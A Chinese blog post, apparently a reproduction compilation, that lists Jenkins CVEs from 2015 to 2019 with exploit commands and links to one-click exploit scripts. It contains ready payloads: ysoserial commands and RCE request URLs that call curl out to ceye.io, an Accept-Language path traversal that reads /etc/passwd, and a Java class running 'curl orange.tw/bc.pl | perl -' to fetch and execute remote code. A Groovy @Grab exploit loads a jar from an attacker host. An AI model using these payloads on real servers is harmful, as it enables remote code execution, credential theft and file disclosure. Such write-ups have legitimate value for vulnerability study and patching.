当前位置: 首页 > news >正文

jenkins漏洞集合

目录

CVE-2015-8103 反序列化远程代码执行

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CVE-2016-0792 低权限用户命令执行

CVE-2016-9299 代码执行

CVE-2017-1000353 Jenkins-CI 远程代码执行

CVE-2018-1000110 用户枚举

CVE-2018-1000861 远程命令执行

CVE-2018-1999002 任意文件读取

CVE-2018-1000600 Jenkins GitHub 信息泄露

CVE-2019-1003000 远程代码执行

CVE-2019-1003005 远程代码执行

CVE-2019-1003029 Script Security Plugin沙箱绕过

CVE-2019-10392 Jenkins Git 插件命令执行

CVE-2019-10352 任意文件写入


复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应:

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。

利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本:jenkins小于 1.650

利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/

msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索:http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7,也可以使用如下

http://x.x.x.x:8080/git/search/?q=a

http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白,响应为

image-20200325171107715

如果使用脚本,则同样效果

image-20200325171239538

还可以使用的POC,使用会提示错误信息,但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

环境搭建

参考:Vulhub - Docker-Compose file for vulnerability environment

执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

 
  1. http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

  2. ?sandbox=true

  3. &value=public class x {

  4. public x(){

  5. "touch /tmp/success".execute()

  6. }

  7. }

/tmp/success已成功创建:

 

CVE-2018-1999002 任意文件读取

影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.

详情:https://xz.aliyun.com/t/2486

结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限,在请求头中添加

 

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径,比如/plugin/xxxx,可以尝试

 

/plugin/jquery-detached/.xml

/plugin/jquery-detached/.key

/plugin/credentials/.ini

在Windows下这么使用

 
  1. GET /plugin/credentials/.ini HTTP/1.1

  2. Host: x.x.x.x:8080

  3. Accept: text/javascript, text/html, application/xml, text/xml, */*

  4. X-Prototype-Version: 1.7

  5. DNT: 1

  6. X-Requested-With: XMLHttpRequest

  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36

  8. Origin: http://x.x.x.x:8080

  9. Referer: http://x.x.x.x:8080/

  10. Accept-Encoding: gzip, deflate

  11. Accept-Language: /../../../../../../../../etc/passwd

  12. Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971

  13. Connection: close

CVE-2018-1000600 Jenkins GitHub 信息泄露

影响版本:Jenkins GitHub插件小于1.29.1

利用的POC为,其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

执行后显示

image-20200326173809956

查看DNSlog回显

image-20200326173837239

CVE-2019-1003000 远程代码执行

实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。

下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

执行利用后显示

image-20200326112837107

我们的job中也被添加了如下

image-20200326112903149

CVE-2019-1003005 远程代码执行

受影响版本:

  1. Jenkins 2.53
  2. Jenkins 2.122
  3. Jenkins 2.137
  4. Jenkins 2.138 启用匿名读取
  5. Jenkins 2.152 启用匿名读取
  6. Jenkins 2.153 启用匿名读取
  7. Script Security Plugin 1.43
  8. Script Security Plugin 1.48

下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019

构建环境后,执行脚本如下

image-20200326124130037

显示如下

image-20200326124151396

当然如果不想使用这种一键式脚本还可以自己构造jar来利用

创建Payload.java

 
  1. public class Payload {

  2. public Payload(){

  3. try {

  4. String payload = "curl orange.tw/bc.pl | perl -";

  5. String[] cmds = {"/bin/bash", "-c", payload};

  6. java.lang.Runtime.getRuntime().exec(cmds);

  7. } catch (Exception e) { }

  8. }

  9. }

编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload

文件创建后,在某一目录下,文件树类似如下:

image-20200327093359850

编译以上目录jar cvf poc-1.jar code/

将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/

将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar

利用如下exp

 
  1. http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

  2. ?value=

  3. @GrabConfig(disableChecksums=true)%0a

  4. @GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a

  5. @Grab(group='package', module='payload', version='1')%0a

  6. import Payload;

CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。

CVE-2019-10392 Jenkins Git 插件命令执行

之前做过这个漏洞的复现,地址:CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog

CVE-2019-10352 任意文件写入

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。

创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)

相关文章:

jenkins漏洞集合

目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…...

用canvas画一个炫酷的粒子动画倒计时

前言 &#x1f606; 这是一篇踩在活动尾声的文章&#xff0c;主要是之前在摸鱼社群里有人发了个粒子动画的特效视频&#xff0c;想着研究研究写一篇文章出来看看&#xff0c;结果这一下子就研究了半个多月。 &#x1f602; 下面就把研究成果通过文字的形式展现出来吧&#xf…...

Java技术学习——Maven相关知识

一、什么是Maven&#xff1f; Maven是Apache软件基金会组织维护的一款专门为Java项目提供构建和依赖管理支持的工具。 1.1 构建 构建过程包含的主要环节如下&#xff1a; 清理&#xff1a;删除上一次构建的结果&#xff0c;为下一次构建做好准备编译&#xff1a;Java源程序…...

C++ 认识和了解C++

1.在使用C语言写代码的时候开头要用到的是&#xff1a; #include<iostream> using namespace std;不可以写成这样&#xff1a; #include iostream.h&#xff08;1&#xff09;iostream是输入输出流类&#xff0c; istream输入流类 cin >> ostream输出流类 cout &…...

u盘误删的文件怎么找回

u盘误删的文件怎么找回?u盘的特点之一就是极其便携&#xff0c;可以容纳各种格式的数据和文件&#xff0c;需要时可以直接使用。每次使用都会或多或少的存放一些文件&#xff0c;但有使用就会有删除&#xff0c;为了不影响使用性&#xff0c;清理存储空间是必要的。清理中如果…...

二分查找由浅入深--算法--java

二分查找写在开头算法前提&#xff1a;算法逻辑算法实现简单实现leftright可能超过int表示的最大限度代码分析和变换更多需求&#xff1a;求索引最小的值java二分API应用基础题思考难度方法写在开头 二分查找应该是算比较简单的这种算法了&#xff0c;我本以为还可以。但有时候…...

【学习】笔记本电脑重新安装系统win10

安装系统有很多方法: 软件安装制作启动u盘本文使用的方法就是启动盘安装: 1.首先下载iso镜像文件: msdn我告诉你:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn) 2.下载启动盘制作工具: 制作启动盘rufus:Rufus - 轻松创建 USB 启动盘 3.官网下载: https://do…...

RocketMQ的一些使用理解

1.RocketMQ的生产者生产负载策略&#xff08;3种&#xff09; (1)SelectMessageQueueByHash &#xff08;一致性hash&#xff09; (2)SelectMessageQueueByMachineRoom &#xff08;机器随机&#xff09; (3)SelectMessageQueueByRandom &#xff08;随机&#xff09; 第1种一…...

Java枚举详解

一.枚举 1.为什么有枚举&#xff1f; 如果我们的程序需要表示固定的几个值&#xff1a; 比如季节&#xff1a;spring (春)&#xff0c;summer(夏)&#xff0c;autumn(秋)&#xff0c;winter(冬) 用常量表示&#xff1a; public static final int SEASON_SPRING 1;public st…...

虚拟机上安装openKylin详细步骤总结

一、创建虚拟机 首先获取操作系统安装镜像文件&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1tSuXmDk2ZILR4ieee6iImw?pwdcy47 提取码&#xff1a;cy47 &#xff08;1-1&#xff09;进入新虚拟机创建向导&#xff0c;选择“自定义”&#xff1a; &#xff08;1-…...

夜天之书 #74 企业开源的软件协议模型实践(Part 2)

在上一篇文章中&#xff0c;我介绍了企业开源的完全开放源码策略及其风险。完全开放源码&#xff0c;即以符合开源定义的软件协议发布企业自研软件的情形。本文介绍应对完全开放源码后的风险的第一种策略&#xff1a;提高市场占有率与开放标准。与其说是策略&#xff0c;不如说…...

2.webpack实时打包

简介 上一章已经实现了使用 webpack 构建了一个简单的项目&#xff1b;但是我们发现&#xff0c;每次修改了 index.js 需要重新执行 cnpm run dev 命令重新构建 main.js&#xff1b;这在开发阶段是无法忍受的&#xff0c;因为这样调式将浪费大量的时间&#xff1b;还好 webpac…...

KingbaseES V8R3 表加密

前言 透明加密是指将数据库page加密后写入磁盘&#xff0c;当需要读取对应page时进行加密读取。此过程对于用户是透明&#xff0c; 用户无需干预。 该文档进行数据库V8R3版本测试透明加密功能&#xff0c;需要说明&#xff0c;该版本发布时间早于V8R6&#xff0c;所以只能进行表…...

2 为社么软件架构很重要?

2 为社么软件架构很重要&#xff1f; 啊&#xff0c;建造&#xff0c;建造&#xff01; 这是所有艺术中最崇高的艺术。 — 亨利沃兹沃思朗费罗 如果架构是答案&#xff0c;那么问题是什么&#xff1f; 本章从技术角度重点介绍架构的重要性。我们将研究面包师的十几个最重要…...

Python 之 Pandas merge() 函数、set_index() 函数、drop_duplicates() 函数和 tolist() 函数

文章目录一、merge() 函数1. inner2. left 和 right3. outer二、set_index() 函数三、drop_duplicates() 函数四、tolist() 函数五、视频数据分析案例1. 问题要求2. 解决过程在最开始&#xff0c;我们先导入常规的 numpy 和 pandas 库。 import numpy as np import pandas as …...

MySQL实战之深入浅出索引(下)

1.前言 在上一篇文章中&#xff0c;我们介绍了InnoDB索引的数据结构模型&#xff0c;今天我们再继续聊一下跟MySQL索引有关的概念。 在介绍之前&#xff0c;我们先看一个问题&#xff1a; 表初始化语句 mysql> create table T ( ID int primary key, k int NOT NULL DEFA…...

(二分查找)leetcode1539. 第 k 个缺失的正整数

文章目录一、题目1、题目描述2、基础框架3、原题链接二、解题报告1、思路分析2、时间复杂度3、代码详解三、本题小知识一、题目 1、题目描述 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1&#xff1a; 输入&…...

yaml文件格式详解及实例

&#x1f341;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; 文章目录yaml简介yaml语法规则Yaml语法实例数组…...

AOP在PowerJob中的使用,缓存锁保证并发安全,知识细节全总结

这是一篇简简单单的文章&#xff0c;需要你简简单单看一眼就好&#xff0c;如果有不明白的地方&#xff0c;欢迎留言讨论。 在之前的文章中出现过一次AOP的使用&#xff0c;就是在运行任务之前&#xff0c;需要判断一下&#xff0c;触发该任务执行的server&#xff0c;是不是数…...

对账平台设计

背景 随着公司业务的蓬勃发展&#xff0c;交易履约清结算业务的复杂性也在不断的增高&#xff0c;资金以及各种数据的一致性和准确性也变得越发重要。 以交易链路为例&#xff0c;存在着如下一些潜在的不一致场景&#xff1a; 订单支付成功了&#xff0c;但是订单状态却还是“…...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;和加载&#xff08;Load&#xff09;过程。提供了一个简洁直观的界面&#xff0c;以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

微服务商城-商品微服务

数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

WebRTC从入门到实践 - 零基础教程

WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC&#xff1f; WebRTC&#xff08;Web Real-Time Communication&#xff09;是一个支持网页浏览器进行实时语音…...

掌握 HTTP 请求:理解 cURL GET 语法

cURL 是一个强大的命令行工具&#xff0c;用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中&#xff0c;cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...